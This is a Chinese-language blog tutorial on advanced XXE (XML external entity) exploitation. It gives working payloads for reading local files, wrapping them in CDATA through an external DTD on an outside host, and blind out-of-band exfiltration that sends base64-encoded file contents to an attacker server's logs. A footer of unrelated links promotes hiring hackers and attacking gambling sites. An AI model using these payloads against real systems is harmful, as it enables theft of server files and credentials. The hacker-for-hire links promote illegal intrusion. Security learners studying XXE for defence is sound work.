XXE漏洞详解——进阶篇

访客4年前黑客工具1131

在XXE漏洞讲解——基础篇?中,XXE的基本原理还有简单的文件读取利用方式我们已经有了基本的了解,那么接下来就带来我们的XXE漏洞详解——进阶篇!

上篇我们本地搭建xxe漏洞环境尝试了读取system.ini文件,这是最基本的一种xxe漏洞利用方式,但是实战中往往会遇到很多的问题,也需要更多中多样的利用方式和技巧,本片就给大家一一介绍~

读取文件时有特殊符号

在读取文件时,文件中包含"<,>,&"等这些特殊符号时,会被xml解析器解析,报错从而导致读取失败,例如尝试读取以下文件

C: est.txt

内容:

<Baize Sec>

payload:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [<!ENTITY xxe SYSTEM "file:///c:/test.txt">]>
<creds>&ampxxe;</creds>

1607183441_5fcbac51be8a7f781bccd.png!small

可以看到与读system.ini不同,这里报错了,想知道原因需要了解CDATA和PCDATA

PCDATA

PCDATA 指的是被解析的字符数据(Parsed Character Data)。

XML 解析器通常会解析 XML 文档中所有的文本。

当某个 XML 元素被解析时,其标签之间的文本也会被解析:

<message>此文本也会被解析</message>

解析器之所以这么做是因为 XML 元素可包含其他元素,就像这个例子中,其中的 <name>元素包含着另外的两个元素(first 和 last):

<name><first>Bill</first><last>Gates</last></name>

而解析器会把它分解为像这样的子元素:

<name>
<first>Bill</first>
<last>Gates</last>
</name>

CDATA

术语 CDATA 指的是不应由 XML 解析器进行解析的文本数据(Unparsed Character Data)。

在 XML 元素中,"<" 和 "&" 是非法的。

"<" 会产生错误,因为解析器会把该字符解释为新元素的开始。

"&" 也会产生错误,因为解析器会把该字符解释为字符实体的开始。

某些文本,比如 JavaScript 代码,包含大量 "<" 或 "&" 字符。为了避免错误,可以将脚本代码定义为 CDATA。

CDATA 部分中的所有内容都会被解析器忽略。

CDATA 部分由 "<![CDATA[" 开始,由 "]]>" 结束:

<script>
<![CDATA[
function matchwo(a,b)
{
if (a < b && a < 0) then
{
return 1;
}
else
{
return 0;
}
}
]]>
</script>

在上面的例子中,解析器会忽略 CDATA 部分中的所有内容。

关于 CDATA 部分的注释:

CDATA 部分不能包含字符串 "]]>"。也不允许嵌套的 CDATA 部分。

标记 CDATA 部分结尾的 "]]>" 不能包含空格或折行。

我们的思路就是把读取的文件放在CDATA中之后再调用,那么构造一个POC如下

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag
[<!ENTITY start
"<![CDATA[<!ENTITY % xxe SYSTEM "file:///c:/test.txt"> ]]>"
>]
% xxe;>
<roottag>&start</roottag>

但是还是读不出来,如下图:

1607183478_5fcbac76c64f080fb3a5d.png!small直接放正确的payload,然后再讲解原因

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % start "<![CDATA[">
<!ENTITY % go SYSTEM "file:///c:/test.txt">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://aaaaahui.com/evil.dtd"> %dtd;
]>
<root>&ampall;</root>

http://aaaaahui.com/evil.dtd

<!ENTITY all "%start;%go;%end;">

1607183487_5fcbac7fa4f73085875de.png!small可以看到这个payload是可以成功读取文件的,对比两个payload

1607183499_5fcbac8b9b55d80810186.png!small


1607183507_5fcbac93835c218916471.png!small

两个payload的逻辑都是一样的,不过第二个是调用的外部的dtd文档就可以,这是因为在xml中,xml 解析器有个限制:不能在内部 Entity 中引用,“PEReferences forbidden in internal subset in Entity ”指的就是禁止内部参数实体引用。

无回显xxe漏洞利用

现在很多xxe漏洞都是没有回显的,下面是再没有回显的时候可以的利用方式。

思路就是在没有回显的时候,我们将读取的文件带出来,举一个例子就是,我们如果将/etc/passwd文件赋给实体test,那么我们在访问http://www.aaaaahui.com/?%test时,我们服务器上的日志文件就会保存/etc/passwd的文件内容,下面进行实验:

<?xml version="1.0"?>
<!DOCTYPE message [ ? ?
<!ENTITY % remote SYSTEM "http://aaaaahui.com/xml.dtd">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/test.txt">
%remote;
%send;
]>
<message>1234</message>

xml.dtd

<!ENTITY % start "<!ENTITY &amp#x25; send SYSTEM 'http://aaaaahui.com/?%file;'>">%start

%是%的html实体编码,因为在xml.dtd的实体中不能有%

实验如下图

1607183516_5fcbac9c89546b2fb236f.png!small

查看日志文件

1607183525_5fcbaca5ca6bd9c3dd452.png!small

这里我们读取的文件已经带出来了,那么原理就是将文件赋给实体后带着访问我们的vps然后在日志文件中就能看到我们读取的文件了。

以上就是本篇的所有内容了,学习了网上其他作者的讲解,我这里比较基础,但是也尽可能详细了,xxe漏洞还有许多其他的利用方式,放在一起害怕基础较弱的小伙伴消化不了,所以后面再出一篇最终篇来介绍xxe漏洞其他的利用方式好了,敬请期待~

相关文章

黑客帝国矩阵重启主演(黑客帝国矩阵重组)

黑客帝国矩阵重启主演(黑客帝国矩阵重组)

本文目录一览: 1、黑客帝国主演 2、黑客帝国4小女孩长大了? 3、黑客帝国墨菲斯扮演者 4、黑客帝国4锡安发生了什么 黑客帝国主演 黑客帝国主演有基努·里维斯、劳伦裤手斯·菲什伯恩、凯...

国学易经公司起名大全(91个寓意好名字)

创业公司两个字国粹易经公司取名名字大全打分 风向国粹易经公司   44.37分   山嘴国粹易经公司   71.82分   外首国粹易经公司   87.12分   醉汉国粹易经公司   93.3...

微信怎么更换和某个人聊天时的聊天背景

微信可以改换和某小我聊天时的聊天布景,具体如下图所示,有需要的按步调去设置就可以了。 方式/步调 1起首我们打开手机上安装的微信软件。 2然后选择聊天对象(这种点窜的只是和那一小我的聊天布景,...

2020,二线城市风口争夺战

2020,二线城市风口争夺战

编辑导读:二线都市,牢牢跟从着一线都市的脚步,又被重重困绕在三线都市之中。与一线都市对比,二线都市仍处于互联网红利期,本文作者阐明白几个二线风口都市的互联网行业近况以及将来,我们一起来看一下。 二线...

网上输的钱怎么才能要回来?能找黑客帮忙追回网

参考:   1.先申请各个搜索引擎的闭站保护功能;   2.老网站死链提交;   3.做好404(不要直接链向首页,一定做个404页面,写个链接指向首页。)   4.设置好新老网站页面改版规则...

青岛找黑客-博彩不怕黑客入侵吗(寻找黑客入侵博彩)

青岛找黑客-博彩不怕黑客入侵吗(寻找黑客入侵博彩)

青岛找黑客相关问题 造成伤害最大的黑客攻击相关问题 怎么教你怎么用黑客技术攻击网站 苹果手机怎么渗透(苹果手机怎么截屏)...